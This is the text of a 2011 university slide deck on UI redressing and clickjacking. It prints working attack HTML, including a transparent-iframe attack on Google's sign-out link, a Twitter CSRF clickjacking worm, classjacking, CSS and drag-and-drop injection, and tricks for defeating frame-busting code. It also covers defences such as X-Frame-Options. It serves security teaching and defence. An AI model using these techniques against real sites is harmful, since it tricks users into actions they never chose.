UI Redressing:
Attacks and Countermeasures Revisited

Marcus Niemietz
@RUB 2011

4th of May 2011
Short and crisp details about me

- Studying IT-Security at the Ruhr-University
  - B.Sc. degree in “IT-Security/Information Technology”
- Author of the book “Authentication Web Pages with Selenium”
- Over five years experience in the fields of QA, Business Webhosting, and WebAppSec
- Twitter: @mniemietz
Contents

1. Introduction
   - UI Redressing
   - Clickjacking

2. Attack vectors
   - Basic clickjacking
   - Advanced attacks
   - Clickjacking Tool

3. Counteractive measures
   - Frame busting
   - Busting frame busting
   - Clickjacking statistics

4. Conclusion and outlook
Introduction

Google Inc. can generate a profit of over $6.5 billion in 2009
- Interesting for commercial companies to offer web applications
  - shopping
  - banking
  - share status messages

- New attacks available that can bypass existing protection mechanisms
  - UI Redressing
UI Redressing

- Adjust a web page with different techniques

UI Redressing

- **Clickjacking**
- **Strokejacking**
- **Text injection by drag-and-drop**
- **Content extraction**
- **Pop-up blocker bypass**
- **SVG masking**
Clickjacking

- A known issue since 2002
- Officially introduced by Hansen & Grossman in 2008

**Clickjacking ⊂ UI Redressing**

- Cursorjacking
- Filejacking
- Likejacking, Sharejacking
- Eventjacking, **Classjacking**
- Tapjacking, Tabnapping
- Adobe Flash Player attacks
- **Combinations with CSRF, XSS, CSS**

- Clickjacking ⇔ Basic clickjacking ≠ UI Redressing
Attack vectors

- Basic clickjacking
- Advanced attacks
  - Clickjacking and CSRF
  - Clickjacking and XSS
  - Clickjacking and CSS
  - Text injection by drag-and-drop
  - Content extraction
  - SVG masking
- Clickjacking Tool
Basic clickjacking

- Practical example
- Clickjacking on the google.com “Sign out” link
- Three files required

inner.html

```html
1 <iframe id="inner" src="http://www.google.com" width="2000" height="2000" scrolling="no" frameborder="none">
2 </iframe>
```
Basic clickjacking

Introduction
Attack vectors
Counteractive measures
Conclusion and outlook

Basic clickjacking

Advanced attacks
Clickjacking Tool
Basic clickjacking

```html
1. <iframe id="inner" src="inner.html" width="2005" height="290" scrolling="no" frameborder="none"></iframe>
2. <style type="text/css">--
3. #inner { position: absolute; left: -1955px; top: -14px;}
4. //--></style>
```
Basic clickjacking

trustedPage.html

```html
1  <h1>www.nds.rub.de</h1>
2  <form action="http://www.nds.rub.de">
3       <input type="submit" value="Go">
4  </form>
5
6  <iframe id="clickjacking" src="clickjacking.html" width="50" height="300" scrolling="no" frameborder="none">
7  </iframe>
8  <style type="text/css">
9       #clickjacking { position:absolute; left:7px;
10          top:81px; opacity:0.0}
11  </style>
```

Marcus Niemietz  @RUB 2011  UI Redressing: Attacks and Countermeasures Revisited
Basic clickjacking

1. "inner.html": Frame "google.com" (2000x2000px)
2. "clickjacking.html": Shift the iframe with "src=inner.html" to the left
3. "trustedPage.html": Place a transparent iframe with "src=clickjacking.html" over the "Go" button
Clickjacking and CSRF

- Worm of “twitter.com” - published in February 2009
- Sending status messages is protected by a token

![Image of Twitter status update with a warning]

UI Redressing: Attacks and Countermeasures Revisited
Clickjacking and CSRF

twitterWorm.html Part 1/2

```html
1 <BUTTON
2   style={
3     width: 120px; top: 10px; left: 10px;
4     position: absolute; z-index: 1;
5   }
6 >
7 Don’t Click
8 </BUTTON>
```
Clickjacking and CSRF

twitterWorm.html Part 2/2

1  <IFRAME
2      style={
3          width: 550px; height: 228px;
4          top: -170px; left: -400px;
5          position: absolute; z-index: 2;
6          opacity: 0; filter: alpha(opacity=0);
7      }
8      scrolling="no"
9      src="http://twitter.com/home?status=Don’t Click: http://tinyurl.com/amgzs6">
10   </IFRAME>
Clickjacking and XSS: Classjacking

- Makes use of the jQuery JavaScript Library (Simplifies HTML event handling)
  - Simplifies HTML event handling

Truncated classjacking.html (Part 1/2)

```html
1 <span class="foo">Some text</span>
2 <a class="bar" href="http://www.nds.rub.de">
3   www.nds.rub.de
4 </a>
5
6 <script src="http://code.jquery.com/jquery-1.4.4.js">
7 </script>
```
Clickjacking and XSS: Classjacking

Truncated classjacking.html (Part 2/2)

```html
1 <script>
2  $("span.foo").click(function() {
3    alert('foo');
4    $("a.bar").click();
5  });
6  $("a.bar").click(function() {
7    alert('bar');
8    location="http://www.example.org";
9  });
10 </script>
```
CSS offers the option to use attribute selectors to select elements with specific attributes.

CSS attribute selector code:

```css
1 a[href=http://www.example.org/] {
2   font-weight:bold ;
3 }
```
Clickjacking and CSS: Whole-page clickjacking

- Opera allows for breaking out of attribute selectors
- Opera 11: `-o-link` applies for `<a>` tags

```
1 <style>
2   p[foo=bar]*{-o-link:'javascript:alert(1)'}{}
3     *{-o-link-source:current}{}
4       color:red;
5    }
6 </style>
```

- `-o-link-source` is used to specify the source anchor for the element with the value “current” to use the current value of “-o-link”
Text injection by drag-and-drop

- Data can be dragged across a domain
- No need to care about the SOP

dragAndDrop.html

```html
1. <div draggable="true" ondragstart="event.
   dataTransfer.setData(text/plain,
2. malicious code");">  
3.   <h1>Drop me</h1>
4. </div>
5. <iframe src="dragAndDropIframe.html" style="border:1px solid;" frameborder="yes">  
6. </iframe>
```
Content extraction

```
1 <iframe src="view-resource:http://www.nds.rub.de/chair/news/" frameborder="0" style="width:400px;height:180px">
2 </iframe>
3 <textarea type="text" cols="50" rows="10">
4 </textarea>
```
SVG masking

Truncated SVGMasking.html

1. `<svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/>
2. `<svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/>

Marcus Niemietz @RUB 2011
• Introduced by Stone at the Black Hat Europe in 2010
• Visualize clickjacking techniques in practice
Counteractive measures

- Frame busting
  - JavaScript
  - X-Frame-Options
  - NoScript
- Busting frame busting
  - IE8 XSS filter
  - Disabling JavaScript: Restricted frames
  - Redefining location
- Clickjacking detection system
- X-FRAME-OPTIONS
• Structure of frame busting code
  • conditional statement
  • counter-action

Frame busting code

1 if (top!=self){
  2   top.location.href=self.location.href;
  3 }

Marcus Niemietz @RUB 2011
### JavaScript

#### Clickjacking statistics

<table>
<thead>
<tr>
<th>Unique sites</th>
<th>Conditional statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>38%</td>
<td>if (top !== self)</td>
</tr>
<tr>
<td>22.5%</td>
<td>if (top.location !== self.location)</td>
</tr>
<tr>
<td>13.5%</td>
<td>if (top.location !== location)</td>
</tr>
<tr>
<td>8%</td>
<td>if (parent.frames.length &gt; 0)</td>
</tr>
</tbody>
</table>

#### Counter-action

<table>
<thead>
<tr>
<th>Unique sites</th>
<th>Counter-action</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>top.location = self.location</td>
</tr>
<tr>
<td>4</td>
<td>top.location.href = document.location.href</td>
</tr>
<tr>
<td>3</td>
<td>top.location.href = self.location.href</td>
</tr>
<tr>
<td>3</td>
<td>top.location.replace(self.location)</td>
</tr>
</tbody>
</table>
X-Frame-Options

- Introduced by Microsoft in 2008
- Two possible values
  - DENY: Web page cannot be loaded by a frame
  - SAMEORIGIN: Display the web page in a frame when the origin of the top level-browsing-context is not different

**PHP implementation**

```php
<?php
header("X-Frame-Options: DENY");
?>
```
X-Frame-Options

- Firefox: NoScript had experimental X-FRAME-OPTIONS compatibility support in version “1.8.9.9”

<table>
<thead>
<tr>
<th>Browser</th>
<th>Lowest version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Explorer</td>
<td>8.0</td>
</tr>
<tr>
<td>Firefox (Gecko)</td>
<td>3.6.9 (1.9.2.9)</td>
</tr>
<tr>
<td>Opera</td>
<td>10.50</td>
</tr>
<tr>
<td>Safari</td>
<td>4.0</td>
</tr>
<tr>
<td>Chrome</td>
<td>4.1.249.1042</td>
</tr>
</tbody>
</table>

- Interesting: Content Security Policy (Firefox 4)
  - Enables a site to specify which sites may embed a resource
  - frame-ancestors: Valid sources for `<frame>` and `<iframe>`
NoScript

- Extension for mozilla-based web browsers like Firefox
- Clickjacking protection integrated
Busting frame busting

- In the case that JavaScript protection mechanism are used

<table>
<thead>
<tr>
<th>Busting frame busting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mobile versus non-mobile applications</td>
</tr>
<tr>
<td>Double framing</td>
</tr>
<tr>
<td>onBeforeUnload event</td>
</tr>
<tr>
<td>XSS filter</td>
</tr>
<tr>
<td>Disabling JavaScript</td>
</tr>
<tr>
<td>Redefining location</td>
</tr>
<tr>
<td>Referrer checking</td>
</tr>
</tbody>
</table>
IE8 XSS Filter

Frame busting code

```html
1 <script type="text/javascript">
2   if (parent.frames.length > 0){
3       top.location.replace(document.location);
4   }
5 </script>
```

IFRAME with IE8 XSS Filter

```html
1 <iframe src="http://www.example.org/?xyz=%3Cscript%20type=%22text/javascript%22%3Eif
2   ">
3 </iframe>
```
Disabling JavaScript: Restricted frames

- Since IE6, a frame can have the "security" attribute with the value "restricted"
  - Done by a rendering in the "Restricted Sites Security Zone"
  - It ensures that JavaScript code, ActiveX controls, and inter alia re-directs to other sites do not work in the frame any-more

```
1 <iframe src="http://www.example.org" security ="restricted">
2 </iframe>
```

- There is also an attribute called "sandbox" specified in HTML5
In IE7, also successfully tested in IE8, it is possible to redefine "location"

By defining "location" as a variable, a reading or navigation by assigning "top.location" will fail, due to a security violation

```html
1 <script>
2 var location = "dummy";
3 </script>
4 <iframe src="http://www.example.org">
5 </iframe>
```
Clickjacking Defense

By Jason Li, Chris Schmidt, and Brendon Crawford

```html
1 <style id="aCJ">body{display:none}</style>
2 <script type="text/javascript">
3   if (self === top) {
4     var aCJ = document.getElementById("aCJ");
5     aCJ.parentNode.removeChild(aCJ);
6   } else {
7     top.location = self.location;
8   }
9 </script>
```
Clickjacking detection system

<table>
<thead>
<tr>
<th></th>
<th>Value</th>
<th>Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Visited Pages</td>
<td>1,065,482</td>
<td>100 %</td>
</tr>
<tr>
<td>Unreachable or Empty</td>
<td>86,799</td>
<td>8.15%</td>
</tr>
<tr>
<td>Valid Pages</td>
<td>978,683</td>
<td>91.85%</td>
</tr>
<tr>
<td>With IFRAMEs</td>
<td>368,963</td>
<td>31.70%</td>
</tr>
<tr>
<td>With FRAMEs</td>
<td>32,296</td>
<td>3.30%</td>
</tr>
<tr>
<td>Transparent (I)FRAMEs</td>
<td>1,557</td>
<td>0.16%</td>
</tr>
<tr>
<td>Clickable Elements</td>
<td>143,701,194</td>
<td>146.83 el./page</td>
</tr>
<tr>
<td>Speed Performance</td>
<td>71 days</td>
<td>15,006 pages/day</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>Total</th>
<th>True Positives</th>
<th>Borderlines</th>
<th>False Positives</th>
</tr>
</thead>
<tbody>
<tr>
<td>ClickIDS</td>
<td>137</td>
<td>2</td>
<td>5</td>
<td>130</td>
</tr>
<tr>
<td>NoScript</td>
<td>535</td>
<td>2</td>
<td>31</td>
<td>502</td>
</tr>
<tr>
<td>Both</td>
<td>6</td>
<td>2</td>
<td>0</td>
<td>4</td>
</tr>
</tbody>
</table>

Marcus Niemietz @RUB 2011
UI Redressing: Attacks and Countermeasures Revisited
X-FRAME-OPTIONS

- Alexa Top 100,000 scanned in February 2011
- HTTP Header analysis of the first page

<table>
<thead>
<tr>
<th>Value</th>
<th>Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Not scanned</td>
<td>341</td>
</tr>
<tr>
<td>Top 100</td>
<td>3</td>
</tr>
<tr>
<td>Top 1,000</td>
<td>9</td>
</tr>
<tr>
<td>Top 10,000</td>
<td>33</td>
</tr>
<tr>
<td>Top 100,000</td>
<td>143</td>
</tr>
<tr>
<td>DENY</td>
<td>48</td>
</tr>
<tr>
<td>SAMEORIGIN</td>
<td>95</td>
</tr>
</tbody>
</table>
UI Redressing is a serious attack that can have terrible effects.

- There are protection mechanisms like frame busting to provide a certain degree of client-side security:
  - It is possible to disable frame busting code.

- X-Frame-Options and NoScript should be used.

- There will be more attacks concerning UI Redressing.
Bibliography

Bibliography

Introduction

Attack vectors

Counteractive measures

Conclusion and outlook

Bibliography


Thank you for your attention. Any questions?

Demo?

Thanks to d0mber and .mario